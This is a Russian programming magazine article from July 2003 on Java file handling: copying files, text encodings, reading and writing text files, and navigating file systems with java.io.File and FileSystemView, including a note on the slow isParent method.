Копирование файла Как скопировать файл в новый файл с другим именем? Конечно, если файл небольшой, его можно скопировать вполне тривиальным методом: вначале прочитать в массив байт, а затем записать под другим именем с помощью методов из предыдущего раздела. Но для многомегабайтных или гигабайтных файлов такой подход непригоден. Очевидный путь решения задачи – последовательно читать файл небольшими блоками и записывать их в другой файл. Вот предлагаемый текст решения: public static void copyFile( String source, String target) throws IOException { copyFile(new File(source),new File(target)); } public static void copyFile( File source, File target) throws IOException { RandomAccessFile input= new RandomAccessFile(source,"r"); RandomAccessFile output= new RandomAccessFile(target,"rw"); try { byte[] buf = new byte[65536]; long len= input.length(); output.setLength(len); int bytesRead; while ((bytesRead= input.read(buf,0,buf.length))>0) output.write(buf,0,bytesRead); } catch (IOException e) { try {input.close();} catch (Exception e1) {}; try {output.close();} catch (Exception e1) {}; return; } try {input.close();} catch (Exception e) {}; output.close(); }

Логика обработки исключений здесь подобна логике, предложенной в предыдущем разделе. Ошибки на этапе чтения или записи (методы read()/write()) считаются приоритетными – при появлении таких ошибок дальнейшие исключения при закрытии файла игнорируются. В случае нормального выполнения всех методов read()/write() ошибки при закрытии исходного файла также игнорируются (ведь он уже успешно прочитан), а ошибки при закрытии выходного файла передаются наружу (пока файл не закрыт, нельзя быть уверенными, что он действительно появится на диске именно в таком виде – из-за возможного кэширования операций записи на диск). Неочевидным в данном решении является использование класса RandomAccessFile вместо традиционных FileInputStream и FileOutputStream. На самом деле RandomAccessFile здесь использован ради возможности вызвать метод output.setLength(), отсутствующий в классе FileOutputStream. Зачем нужен вызов метода output.setLength()? Казалось бы, это совершенно излишняя операция – ведь в итоге скопированный файл все равно будет иметь правильный размер.

58

Секрет здесь заключается в организации современных операционных систем, таких как Windows NT/2000/XP. Если сразу после создания файла «проинформировать» операционную систему о желаемой итоговой длине файла вызовом setLength(), то она сможет более эффективно выделить место на диске под этот файл, сведя к минимуму возможную фрагментацию диска. Если же наращивать файл постепенно, как получилось бы при отсутствии вызова setLength(), то операционная система будет резервировать под файл достаточно случайные свободные фрагменты дискового пространства. Возможно, первого выделенного свободного фрагмента не хватит для записи всего файла, и операционной системе придется выделять дополнительные фрагменты – файл окажется фрагментированным. Другой плюс вызова setLength(): уже в самом начале копирования операционная система сможет сообщить об ошибке, если окажется, что места на дисковом носителе недостаточно для размещения полного файла. С другой стороны, вызов setLength() приводит к тому, что в случае каких-либо ошибок результирующий файл получится либо полной (правильной) длины, но с неверным содержимым, либо длины 0. Как правило, в таком поведении нет ничего страшного – ошибки при копировании файлов вообще редкость. Тем не менее это следует иметь в виду. (Вообще говоря, исходя из тех же самых соображений, можно было бы добавить вызов setLength() в процедуру записи бинарного файла, приведенную в первом разделе. Но во-первых, та процедура все-таки рассчитана на небольшие файлы, для которых фрагментация диска не столь существенна. Во-вторых, в той процедуре мы имеем дело с единственным вызовом метода write. Вероятнее всего, операционная система и так сумеет принять правильное решение о размещении сохраняемого блока на диске.) Приведенную функцию копирования файла можно очевидным образом усовершенствовать – добавить стирание результирующего файла, если при копировании были исключения.

Чтение и запись текстового файла: кодировки Работа с текстовыми файлами в Java далеко не так тривиальна, как с бинарными. Внутри Java текстовые данные всегда хранятся в кодировке Unicode – 16 бит на каждый символ. Но на диске текстовые файлы могут храниться в самых разных кодировках. Для преобразования кодировок файлов в Unicode и обратно нужны специальные классы-преобразователи: InputStreamReader и OutputStreamWriter. Кодировка (encoding) – это способ описания (кодирования) всех возможных символов цепочками битов. «Ранние» кодировки, разработанные еще до появления Unicode, были рассчитаны на 8- или даже 7-битовое представление символа: с их помощью можно записать текст, содержащий максимум 256 (или соответственно 128) различных символов алфавита. Современные кодировки, такие как UTF-8 или UTF-16, резервируют более 8 бит на 1 символ и позволяют представить текст, содержащий любые из 65536 стандартных символов Unicode, в том числе иероглифы и всевозможные специальные знаки.


программирование Каждая кодировка в Java идентифицируется своим именем. Стандартные библиотеки Java гарантированно «понимают» кодировки со следующими именами: «ASCII» – 7-битовая кодировка ASCII для англоязычных текстов; «Cp1252», «ISO8859_1» – 8-битовые расширения ASCII для западноевропейских языков; «UnicodeBig», «UnicodeBigUnmarked», «UnicodeLittle», «UnicodeLittleUnmarked», «UTF-16» – основные варианты 16-битовой кодировки Unicude; «UTF-8» – псевдо-8-битовая кодировка Unicode (в действительности на разные символы отводится разное число бит). 7- и 8-битовые кодировки предполагают, что каждый символ текста хранится в отдельном байте файла. В случае 7-битовой кодировки старший бит каждого байта попросту не используется (предполагается равным 0). 16-битовые кодировки Unicode отводят на каждый символ 16-битовое («короткое») слово файла. Друг от друга они отличаются наличием или отсутствием в файле специального 16-битового префикса, идентифицирующего формат Unicode, и порядком байт в 16-битовом слове. Кодировки «UnicodeBig», «UnicodeLittle» и «UTF-16» предполагают, что первые 16 бит файла содержат префикс 0xFEFF, указывающий, что файл записан в формате Unicode. Кодировки «UnicodeBigUnmarked» и «UnicodeLittleUnmarked» интерпретируют первые 16 бит файла как первый символ текста. Кодировки «UnicodeBig» и «UnicodeBigUnmarked» предполагают порядок байт big-endian: старший байт каждого слова следует в файле перед младшим. Кодировки «UnicodeLittle» и «UnicodeLittleUnmarked» предполагают порядок little-endian, более привычный пользователям Intel-процессоров: младший байт каждого слова имеет в файле меньшее смещение от начала файла. При наличии префикса 0xFEFF порядок байт касается и способа записи этого префикса: в случае big-endian первым байтом файла будет 0xFE, в случае little-endian – 0xFF. Кодировка «UTF-16» не уточняет, какой именно будет порядок байт, но в этом случае префикс 0xFEFF является обязательным. Исходя из способа записи этого префикса, в готовом файле можно будет определить порядок байт в слове. Кодировка «UTF-8», строго говоря, не является 8-битовой, хотя и ориентирована на побайтовое хранение данных. В этой кодировке стандартные символы ASCII, имеющие в терминах Unicode коды 0..127, кодируются с помощью только одного байта, а все прочие символы «расходуют» 2 или более байт. Эта кодировка – наиболее универсальная и удобная в большинстве случаев. Для текстов, не содержащих национальных и специальных символов, кодировка «UTF-8» столь же компактна, как и традиционная ASCII, но при этом сохраняется принципиальная возможность записывать любые символы Unicode.

Чтение и запись текстового файла: алгоритмика Прочитать целиком текстовый файл несколько сложнее, чем бинарный. В случае бинарного файла мы заранее знали размер требуемого буфера – он был равен длине файла. Число символов, содержащихся в текстовом фай-

№7(8), июль 2003

ле, в общем случае невозможно определить, не прочитав файл, за исключением некоторых простых кодировок. Наиболее естественно использовать для чтения текстового файла постепенно увеличивающийся буфер StringBuffer. Вот вариант готового решения: public static String loadFileAsString( File file, String encoding) throws IOException { InputStreamReader f= encoding==null? new FileReader(file): new InputStreamReader( new FileInputStream(file),encoding); StringBuffer sb= new StringBuffer(); try { char[] buf= new char[32768]; int len; while ((len=f.read(buf,0,buf.length))>=0) { sb.append(buf,0,len); } return sb.toString(); } finally { try {f.close();} catch (Exception e) {}; } }

Прокомментирую основные тонкости. Прежде всего нужно обратить внимание на параметр encoding. Чтобы прочитать текстовый файл, необходимо указать кодировку, в которой он записан. Функция допускает передачу null в качестве encoding, но это всего лишь означает, что файл будет прочитан в текущей кодировке операционной системы. Скажем, файл с русским текстом, записанный в традиционной для России кодировке Windows (формальное название «Cp1251»), прочитается правильно только при условии, что текущим языковым стандартом (Regional Options) является русский. Все это означает, что параметр encoding можно не указывать в единственном случае: когда предполагается, что файл записан в текущей кодировке операционной системы. Если файл записан в какой-то другой кодировке, то он может быть прочитан в виде совершенно непредсказуемого «мусора». Это вполне допустимо, например, если речь идет о написании простого одноплатформенного текстового редактора типа Notepad. Внимание! Передавая null в качестве encoding, не следует полагаться, что латинские символы из стандарта ASCII-7 (с кодами 0..127), если таковые в файле имеются, будут гарантированно прочитаны правильно. Более того, теоретически возможна ситуация, когда файл, содержащий только символы с кодами 0..127, будет прочитан неверно! В принципе в какой-то операционной системе может оказаться, что текущей кодировкой является UTF-8, UTF-16 или какая-нибудь новая кодировка, которая будет разработана в будущем и которая кодирует символы совершенно непредсказуемым способом. В данный момент на известных мне версиях Windows все кодировки, предлагаемые операционной системой, хранят латинские символы «как есть», согласно стандарту ASCII-7. Но никто не может гарантировать, что так будет всегда. Чтобы правильно читать файлы с латинскими символами, записанные в традиционном формате ASCII, нужно явно указывать кодировку «ASCII» или одно из стандартных 8-битовых расширений: «Cp1252» либо «ISO8859_1».

59


программирование Следующее замечание касается начальной емкости StringBuffer (необязательный параметр конструктора). Можно было бы попытаться оценить требуемую емкость, исходя из длины файла и заказанной кодировки. Но для сложных кодировок здесь легко ошибиться, заказав слишком много памяти, особенно учитывая возможное появление новых кодировок в будущем. А это чревато возникновением ошибки «Out of memory», даже когда на самом деле виртуальной памяти Java достаточно для размещения файла. Ускорение же, которого можно добиться таким способом, крайне незначительно и теряется на фоне «расшифровки» сложных кодировок и дисковых операций чтения файла. Описанную функцию loadFileAsString можно дополнить версиями, читающими файл в виде массива символов, а также работающими с именем файла вместо объекта File: public static String loadFileAsString( String fileName, String encoding) throws IOException { return loadFileAsString( new File(fileName),encoding); } public static char[] loadFileAsChars( String fileName, String encoding) throws IOException { return loadFileAsChars( new File(fileName),encoding); } public static char[] loadFileAsChars( File file, String encoding) throws IOException { String buf= loadFileAsString(file,encoding); char[] result= new char[buf.length()]; buf.getChars(0,result.length,result,0); return result; } public static void loadFileAsChars( File file, String encoding, char[] buf) throws IOException { loadFileAsChars( file,encoding,buf,0,buf.length); } public static void loadFileAsChars( File file, String encoding, char[] buf, int off, int len) throws IOException { InputStreamReader f= encoding==null? new FileReader(file): new InputStreamReader( new FileInputStream(file),encoding); try { f.read(buf,off,len); } finally { try {f.close();} catch (Exception e) {}; } }

Те из приведенных функций, которые читают файл полностью, в конце концов сводятся к вызову описанной выше функции loadFileAsString. Последние две функции, заполняющие переданный им массив символов – целиком или заданный фрагмент, реализованы более просто. В этом случае заранее известно требуемое число символов, и нет необходимости использовать постепенно увеличивающийся StringBuffer.

60

Запись текстового файла – сравнительно простая задача, принципиально не отличающаяся от записи бинарного файла. Возможное решение: public static void saveFileFromString( String fileName, String encoding, String v) throws IOException { saveFileFromString( new File(fileName),encoding,v); } public static void saveFileFromString( File file, String encoding, String v) throws IOException { if (v==null) { file.delete(); return; } char[] buf= new char[v.length()]; v.getChars(0,buf.length,buf,0); saveFileFromChars(file,encoding,buf); } public static void saveFileFromChars( String fileName, String encoding, char[] buf) throws IOException { saveFileFromChars( new File(fileName),encoding,buf); } public static void saveFileFromChars( File file, String encoding, char[] buf) throws IOException { if (buf==null) { file.delete(); return; } saveFileFromChars( file,encoding,buf,0,buf.length); } public static void saveFileFromChars( File file, String encoding, char[] buf, int off, int len) throws IOException { if (buf==null) { file.delete(); return; } OutputStreamWriter f= encoding==null? new FileWriter(file): new OutputStreamWriter( new FileOutputStream(file),encoding); try { f.write(buf,off,len); } catch (IOException e) { try {f.close();} catch (Exception e1) {}; return; } f.close(); }

Как и в случае чтения файла, параметр encoding в этих функциях может быть равен null, в этом случае файл будет записан в текущей кодировке операционной системы. Все функции в конце концов сводятся к вызову последней функции, записывающей фрагмент массива символов. Логика исключений полностью соответствует логике, использованной в первом разделе для записи бинарного файла. Небольшой нюанс. Приведенные выше функции выполняют специальное действие – стирание файла, если в качестве данных (строки или буфера) им передано значение null. В моей практике такое поведение оказалось довольно удобным. Действительно, при хранении текстовых данных в файлах может возникнуть ситуация «данные отсутствуют», которую проще всего идентифицировать с помощью значе-


программирование ния null строковой переменной. В этом случае стереть файл (если таковой существует) – самое логичное решение. Проверять наличие файла перед вызовом метода delete() не нужно: при отсутствии файла (или при возникновении других проблем) метод delete() возвращает false, не порождая никаких исключений.

Путешествие по файловой системе: основные трудности Средства для анализа файловой системы: для работы с каталогами и путями, определения системных свойств файлов, работы с файлами-ссылками (links) и пр. в Java, к сожалению, реализованы довольно непоследовательно. Пакет для работы с файлами java.io.* был разработан в те времена, когда на рынке господствовали MS-DOS, ранние версии Windows и всевозможные варианты Unix. В результате этот пакет хорошо «справляется» только с простейшими путями к файлам, подчиненными жесткой иерархии в соответствии с идеологией Unix (эту идеологию унаследовала MS-DOS и вслед за ней Windows). А именно: имена файлов и подкаталогов, лежащих в некотором каталоге, образуются добавлением их имен к имени этого каталога через символ-разделитель File.separator («\» – для Windows, «/» – для Unix). В корне иерархии должен лежать общий для всех корневой каталог «/» – в случае Unix, в случае MS-DOS и Windows – корневой каталог диска «C:\», «A:\» или аналогичный. Все средства объекта java.io.File, предназначенные для работы с путями, такие как File.getParent(), рассчитаны на эту логику. В то же время все современные версии Windows с точки зрения пользователя организуют свою файловую систему совершенно иначе. Корнем иерархии обычно является «рабочий стол» («Desktop»). Его дочерними подкаталогами (или, если быть точным, дочерними узлами иерархии) являются «компьютер» («My Computer»), «папка с документами» («My Documents»), подкаталог для доступа к локальной сети («My Network Places»). Дисковые накопители появляются уже как дочерние узлы «My Computer». При этом, разумеется, маршрут вроде: Desktop\My Computer\Local Disk (C:)\подкаталог в Windows никакого смысла не имеет. Тем не менее для большинства приложений такая организация файловой системы никак не конфликтует с более простой логикой пакета java.io.* Дело в том, что «на нижнем уровне» с точки зрения функций работы с файлами даже самые последние версии Windows сохранили старую, унаследованную от MS-DOS структуру файловой системы: в корне находятся диски «C:\», «A:\» и т. д. Каталоги типа «Desktop» и «My Documents» соответствуют некоторым каталогам главного диска операционной системы: в случае Windows 2000/XP они расположены в каталоге текущего пользователя внутри каталога «Documents and Settings». Любой файл или «обычный» каталог таким образом имеет вполне традиционный Unixподобный «низкоуровневый» маршрут. Даже файлы из локальной сети Windows имеют традиционные Unix-подобные «низкоуровневые» маршруты типа: "\\èìÿ_êîìïüþòåðà\ïñåâäîíèì_ïîäêàòàëîãà\îáû÷íûé_ìàðøðóò..."

№7(8), июль 2003

На основе такого маршрута можно создать работоспособный объект java.io.File и в случае файла передать его прочим классам пакета java.io.* для работы с этим файлом. Для такого маршрута можно традиционными средствами класса java.io.File перейти к родительскому каталогу (File.getParent()), и получится вполне корректный новый маршрут, если только текущий маршрут не является корнем диска или верхнеуровневым псевдонимом подкаталога для компьютера из локальной сети. Наконец, если экземпляр класса java.io.File соответствует обычному каталогу (в том числе корню диска), то традиционные средства этого класса позволяют корректно получить все подкаталоги и файлы, лежащие внутри него, и работать с ними. Пока приложение нуждается только в манипуляциях с файлами внутри некоторого обычного каталога (имя которого получено из диалога выбора файла или из конфигурационного файла), проблем не возникает. Такая ситуация достаточно типична для «невизуальных» и даже для многих визуальных приложений, в которых вся работа с диском сводится к манипуляциям с файлами внутри некоторого специального каталога, отведенного под это приложение. Но если нужно, например, показать пользователю полное дерево всех доступных файлов, включая сетевое окружение, причем стандартные диалоги выбора файла почему-либо не устраивают, – тут средства пакета java.io.* недостаточны. Другой пример нехватки возможностей java.io.*: этот пакет не способен определить каталог документов текущего пользователя Windows 2000/XP, а это очень неплохая «точка отсчета» для размещения рабочих файлов приложения. Чтобы поддержать современные файловые системы, компания Sun разработала новый отдельный пакет javax.swing.filechooser.* Он размещен внутри графической библиотеки Swing и рассчитан на использование совместно с диалогом выбора файла javax.swing.JFileChooser. Тем не менее возможности, предлагаемые этим пакетом, точнее, классом javax.swing.filechooser.FileSystemView, не имеют никакого отношения к визуальному интерфейсу. В действительности методы этого класса куда логичнее смотрелись бы в пакете java.io.* Сегодня средства для анализа и управления файловой системой в Java распределены по двум классам: java.io.File и javax.swing.filechooser.FileSystemView. Классы эти непохожи по организации и частично перекрывают возможности друг друга, так что порой не так просто определить, какой из них выбрать. Попробуем разобраться в этих двух классах.

Путешествие по файловой системе: класс java.io.File Класс java.io.File, вопреки названию, является представлением не собственно файла, а маршрута к файлу или подкаталогу. (И почему его не назвали, скажем, «Path»?) Создание экземпляра File никак не связано с созданием файла, для работы с файлами служат потоки ввода-вывода. По сути, класс File можно считать специализированным вариантом класса String, рассчитанным на работу с маршрутами к файлам/подкаталогам и, что отличает его от String, допускающим создание наследников.

61


программирование Экземпляр File обычно создается одним из конструкторов: public File(String pathname) public File(File parent, String child) public File(String parent, String child)

Смысл их достаточно очевиден. В качестве pathname (или parent) нужно указывать маршрут к файлу/подкаталогу (соответственно к каталогу, содержащему файл/подкаталог), например, «/tmp/a», «myfile.txt» или «c:\abc.java». Путь (маршрут) считается абсолютным, если начинается со слэша (/ или \) или c буквы диска с последующим слэшем в случае DOS/Windows. В противном случае путь считается относительным и отсчитывается от текущего каталога операционной системы. Разработчики Java разрешили при создании экземпляра File для разделения каталогов в маршруте всегда использовать «универсальный» прямой слэш /, помимо стандартного разделителя File.separator (\ в случае Windows). Преобразование объекта File в строку (метод toString() или полностью эквивалентный ему getPath()), как и следовало ожидать, возвращает исходный маршрут, который был передан в конструктор. Но все прямые слэши при этом заменяются на File.separator. Вообще, все методы класса File, возвращающие путь к файлу в виде строки, возвращают его в «нормализованном» виде, т.е. с заменой всех прямых слэшей на File.separator. Если объект File содержит относительный маршрут к файлу/подкаталогу, то его можно преобразовать в абсолютный методами getAbsoluteFile() или getAbsolutePath() (первый возвращает File, второй – String). Все, что делают эти методы, – добавляют перед началом относительного пути маршрут к текущему каталогу. Эти методы исключений не порождают, но могут вызвать обращение к диску для определения текущего каталога. Два похожих метода – getCanonicalFile() и getCanonicalPath() – делают несколько больше. Пользуясь средствами операционной системы, они пытаются привести имя файла/подкаталога к единообразному виду, одинаковому для одинаковых реальных положений файла/подкаталога в файловой системе. Например, на моем компьютере (Windows XP) c текущим основным диском E: вызовы: (new File("\\tm/../tm/1.txt")).getCanonicalPath()

и (new File("e://tm/1.txt")).getCanonicalPath()

возвращают одинаковую строку:

так как с точки зрения Windows каталоги «E:\tm» и «E:\TM» идентичны. Методы getCanonicalFile() и getCanonicalPath(), разумеется, не гарантируют получения одного результата для всех возможных маршрутов к одному и тому же файлу/подкаталогу. Скажем, в случае Windows они «ничего не знают» о маршрутах в локальной сети типа «\\имя_моего_компьютера\e\tm\1.txt». Эти методы могут порождать исключение IOException. Главные методы класса File, обеспечивающие «навигацию» по файловой системе, следующие: public public public public public public public public

File getParentFile() String getParent() String getName() File[] listFiles() File[] listFiles(FileFilter filter) String[] list() String[] list(FilenameFilter filter) static File[] listRoots()

А также уже упомянутые конструкторы: public File(File parent, String child) public File(String parent, String child)

Смысл их достаточно понятен, а точное поведение можно узнать из документации. Я бы только обратил внимание (это легко не заметить при изучении документации), что методы list возвращают в массиве строк короткие имена файлов (не включающие путь к родительскому каталогу), в то время как listFiles возвращают маршруты, содержащие в начале родительский маршрут. Причем, если объект File, у которого вызывается один из методов listFiles, представляет относительный маршрут, то пути в полученном массиве маршрутов тоже будут относительными. Как раз эти методы, прекрасно работавшие в DOS и Unix, безнадежно «морально устарели» в современных версиях Windows. «Подъем» к родителю по файловому дереву означает банальное удаление последнего элемента в цепочке каталогов, разделенных слэшем или File.separator. Например, у каталога «\\имя_моего_компьютера\e» (диск E моего компьютера в виде «сетевого» маршрута) родителем оказывается «\\имя_моего_компьютера», а у него, в свою очередь, «\\» – «фальшивые» каталоги, с которыми класс File не может сделать ничего полезного. Попытка узнать все корневые каталоги вызовом listRoots() даже в современной Windows XP вернет список корневых каталогов всех дисков, полностью игнорируя такие понятия, как «сетевое окружение», «рабочий стол», «мои документы». Ниже мы обсудим «современную» альтернативу – класс javax.swing.filechooser.FileSystemView. Кроме основной задачи – работы с маршрутами – класс File реализует некоторые вспомогательные операции над физическими файлами: проверку существования, удаление, создание файла или подкаталога, переименование и т. п. Для этого служат методы:

E:\tm\1.txt

Каталога E:\tm у меня на самом деле нет. Если бы он был, но реально назывался «TM» (заглавными буквами), то указанные вызовы вернули бы строку: E:\TM\1.txt

62

public public public public public public public public public

boolean exists() boolean isDirectory() boolean isFile() boolean isHidden() long lastModified() long length() boolean canRead() boolean canWrite() boolean delete()


программирование public public public public public public public

void deleteOnExit() boolean createNewFile() boolean mkdir() boolean mkdirs() boolean renameTo(File dest) boolean setLastModified(long time) boolean setReadOnly()

Все эти методы, кроме createNewFile(), не порождают исключений. Как видите, набор возможностей для современных операционных систем исключительно бедный, учитывая, что это единственный класс пакета java.io.*, предлагающий подобный сервис. (Мы не считаем класс java.io.FileSystem, обеспечивающий то же самое, но несколько менее удобным способом.) Удивительно, что метод isHidden() не имеет парного setHidden(), а setReadOnly() работает только «в одну сторону», не позволяя снять атрибут «read-only». Еще класс File обеспечивает несколько вспомогательных возможностей – создание временных файлов и преобразование маршрута к формату URI, и наоборот. Также этот класс предоставляет строковые константы separator, pathSeparator и их синонимы типа char: separatorChar и pathSeparatorChar.

Путешествие по файловой системе: класс javax.swing.filechooser.FileSystemView Класс javax.swing.filechooser.FileSystemView – это библиотека методов для работы с объектами типа File. Эта библиотека, прежде всего, позволяет перемещаться по файловой системе (переходить к «родителю» и получать список «детей»), причем в современном стиле: корнем иерархии для Windows служит рабочий стол «Desktop», в нем имеется выход в «My Computer» и локальную сеть, и т. д. Кроме того, библиотека FileSystemView открывает доступ к дополнительным свойствам файлов, подкаталогов и иных, «нефайловых» элементов файловой системы типа «Desktop». Чтобы использовать FileSystemView, нужно вначале получить экземпляр библиотеки с помощью статического метода getFileSystemView(): FileSystemView fsv=FileSystemView.getFileSystemView();

Это единственный способ получить экземпляр: класс FileSystemView – абстрактный и не имеет открытых наследников. В действительности указанный метод возвращает экземпляр одного из закрытых классов-наследников, разных для разных операционных систем. Получив экземпляр, можно использовать следующие методы: public public public public public public

File getParentDirectory(File dir) File getChild(File parent, String fileName) File createFileObject(File dir, String filename) File createFileObject(String path) File[] getFiles(File dir, boolean useFileHiding) File[] getRoots()

Эти методы «перекрывают» основные методы и конструкторы класса File, предназначенные для «навигации» по файловой системе. Данные методы работают уже в «современном» стиле. Если мы попытаемся подняться от любого файла (созданного либо через createFileObject, либо

№7(8), июль 2003

конструктором класса File) до корня иерархии, последовательно вызывая метод getParentDirectory, то под Windows мы в конце концов доберемся до каталога «Desktop». Метод getRoots также честно возвращает этот единственный каталог. Если мы будем считывать дерево каталогов, вызывая getFiles для корневого каталога «Desktop», затем для его элементов, затем для их элементов и т. д., мы увидим примерно то же самое, что видит пользователь в любом стандартном диалоге выбора файла Windows: «My Computer», «My Network Places» и т. д. Очень поучительно написать тест, считывающий «верхние этажи» дерева каталогов с помощью этих методов и распечатывающий для каждого элемента (объекта File) результаты вызовов toString(), getAbsolutePath(), getCanonicalPath(), getParent(), listFiles(), а также имя класса getClass(). Также интересно распечатать аналогичную информацию для каталогов, получаемых подъемом к корню вызовами getParentDirectory от произвольных обычных маршрутов, созданных конструктором класса File. Оказывается, что классы объектов File, полученных таким способом, в действительности часто являются наследниками стандартного класса java.io.File, чаще всего (в случае Windows) это класс sun.awt.shell.Win32ShellFolder. Этого следовало ожидать. Обычный класс File в принципе не способен представить такую сущность, как «My Computer». Действительно, практически любой маршрут, хранящийся в объекте File, который мы бы могли придумать для обозначения «My Computer», одновременно соответствовал бы какому-нибудь вполне допустимому файлу, а его методы вроде getParent() вообще возвращали бы ерунду. На самом деле любой вызов getParentDirectory возвращает для Windows объект «внутреннего» класса фирмы Sun sun.awt.shell.Win32ShellFolder (наследника File), причем если исходный маршрут был относительным, он автоматически преобразуется в абсолютный. У такого объекта методы getParent() и listFiles() работают уже «правильно», так же, как getParentDirectory и getFiles. Метод list(), судя по всему, возвращает имена только для «обычных» файлов/подкаталогов, опуская имена дисков или элементов типа «My Computer». Методы getPath() и getAbsolutePath() для «нефайловых» объектов типа «Desktop» возвращают путь к каталогу, который в операционной системе соответствует данной высокоуровневой сущности, при отсутствии такового (как в случае «My Computer») – некоторые абстрактные имена. Описанные свойства наследников класса File, возвращаемых методами FileSystemView, выяснены из тестирования на версии JDK 1.4.1. В документации они, судя по всему, не описаны, так что полагаться на них не стоит. Для перемещения по файловой системе следует использовать документированные методы FileSystemView getParentDirectory, getChild, getFiles... Важное замечание: в отличие от класса File, библиотека FileSystemView рассчитана на работу не с произвольными маршрутами, а только с путями к реально существующим файлам или подкаталогам. Например, метод getParentDirectory для несуществующего файла/подкаталога (созданного конструктором File для маршрута, не соответствующего реальному файлу или каталогу) попрос-

63


программирование ту вернет null. Метод File.getParent() в этом случае на общих основаниях «отрезал» бы от маршрута конечную часть, начиная от последнего слэша. Кроме описанных, библиотека FileSystemView предлагает также следующие методы: public File getDefaultDirectory() public File getHomeDirectory()

Первый из них под Windows возвращает каталог «My Documents», а второй – каталог «Desktop». public public public public public public

boolean boolean boolean boolean boolean boolean

isFileSystem(File f) isRoot(File f) isFileSystemRoot(File dir) isDrive(File dir) isFloppyDrive(File dir) isComputerNode(File dir)

Эти методы (в дополнение к традиционным методам isDirectory() и isFile() класса File) позволяют распознать «специальные» узлы файловой иерархии, не соответствующие обычным файлам или подкаталогам. Точный их смысл описан в документации на FileSystemView. Все «обычные» файлы и подкаталоги, которые можно корректно представить классом File, относятся к категории isFileSystem. Часто бывает полезно сочетание свойств: fsv.isFileSystem(f) && !fsv.isRoot(f) && !fsv.isFileSystemRoot(f);

В этом случае есть гарантия, что не только сам маршрут f, но и его родитель является вполне «добропорядочным» маршрутом, допускающим представление с помощью класса File. public boolean isHiddenFile(File f)

Если судить по документации, это просто дубликат обычного f.isHidden(). public Boolean isTraversable(File f)

Этот метод обобщает f.isDirectory() на случай «необычных» элементов файловой системы, таких как соседние компьютеры в локальной сети. Несколько необычный тип результата, видимо, выбран по аналогии с другим классом javax.swing.filechooser.FileView, обслуживающим нужды визуального компонента JFileChooser. public String getSystemDisplayName(File f) public String getSystemTypeDescription(File f) public javax.swing.Icon getSystemIcon(File f)

Эти методы предназначены для визуального отображения файлов или подкаталогов в виде списка (например, в диалоге выбора файла). Метод getSystemDisplayName позволяет узнать, как операционная система рекомендует именовать данный элемент. Для корня диска C:\ может быть получено что-то вроде «WINDOWS (C:)», для рабочего стола – «Desktop». Метод getSystemTypeDescription дополняет имя элемента описанием, которое обычно можно увидеть при просмотре каталога в режиме «Details». Например, это

64

может быть «File Folder», «Text Document» для txt-файла, «Application» для exe-файла. Наконец, метод getSystemIcon возвращает иконку, которую операционная система рекомендует использовать для графического представления данного файла или подкаталога. public boolean isParent(File folder, File file)

Этот метод не имеет аналогов в классе File. В рамках пакета java.io.* для аналогичных целей должен был бы использоваться примерно такой вызов: file.getParent().equals(folder.getPath())

(возможно, с предварительным приведением маршрутов к каноническому виду методами getCanonicalPath). При работе с более сложными современными файловыми системами подобная проверка строк была бы некорректна. Действительно, folder.getPath() может вернуть «My Computer» как для настоящего элемента «My Computer» – родителя каталога «C:\», так и для подкаталога с именем «My Computer» в текущем каталоге Windows. Попытка использовать getCanonicalPath не привела бы к успеху – для «My Computer» метод getCanonicalPath порождает исключение, так как никакому осмысленному каталогу подобный элемент файловой системы не соответствует. На самом деле современная реализация метода isParent (JDK 1.4.1) устроена крайне неэффективно. Если folder – наследник некоего внутреннего класса sun.awt.shell.ShellFolder (именно такие наследники получаются для всех каталогов, возвращаемых методами FileSystemView), то метод isParent, не мудрствуя лукаво, получает полный список всех «детей» folder (вызовом getFiles) и поочередно сравнивает объект file с каждым из них. Вот типичный пример скрытой квадратичности, глубоко «закопанной» в исходниках библиотечных модулей. В частности, такая реализация порождает ужасающее «торможение» визуального компонента JFileChooser при попытке просматривать с помощью клавиатуры каталог из сотен или тысяч файлов. Связано это с тем, что любое перемещение курсора по каталогу приводит к вызову метода setSelectedFile, делающему новый файл активным. Этот метод проверяет (вызовом isParent), точно ли текущий выбранный каталог является «родителем» по отношению к новому файлу, и если это не так, изменяет текущий каталог. Действие в данной ситуации, вообще говоря, бессмысленное. (Это издержки общей организации модуля JFileChooser: один и тот же метод setSelectedFile используется и для управления компонентом «снаружи», когда текущий каталог действительно может измениться, и при реакции на стрелки «вверх»/«вниз».) Проверка нового выбранного файла методом isParent требует полного перебора всех файлов текущего каталога, так как каталоги в JFileChooser всегда представлены наследниками File, сгенерированными методами FileSystemView. В результате каждое нажатие на стрелку «вверх»/«вниз» приводит к линейному перебору каталога, а полная прокрутка каталога с помощью стрелок на клавиатуре означает квадратичное число операций.


программирование Аналогичное «скрытое» торможение легко можно получить, легкомысленно пользуясь методами getDefaultDirectory() и getHomeDirectory(), которые могут понадобиться и в совершенно «невизуальной» программе. Эти методы тоже возвращают наследников ShellFolder, и для них isParent работает медленно. В моей практике был случай, когда программа начала загружаться в десятки раз медленнее (несколько минут) только из-за того, что в момент старта был добавлен простой анализ содержимого каталога getDefaultDirectory(). Причина оказалась именно в методе isParent, превратившего нормальный линейный алгоритм анализа в квадратичный. Самое неприятное, что проблема проявлялась только в случае, когда каталог «My Documents» содержал много элементов – ситуация типичная для рядового пользователя, но сравнительно редкая для хорошо структурированных файловых систем профессионалов. Надо надеяться, что в будущих версиях Java фирма Sun оптимизирует метод isParent, устранив оттуда перебор. Для подавляющего числа ситуаций, когда каталог вполне «нормальный» (что можно определить вызовом isFileSystem), перебор совершенно не нужен. Пока что я рекомендую, если это возможно и допустимо логикой программы, всегда конвертировать каталоги, полученные от класса FileSystemView, в обыкновенные объекты File: f= new File(f.getPath());

Например, это можно проделать с каталогом getDefaultDirectory(), если программе нужно просто прочитать оттуда какие-то конфигурационные или другие файлы. Кроме того, это почти всегда можно сделать, если выполнено условие: fsv.isFileSystem(f)

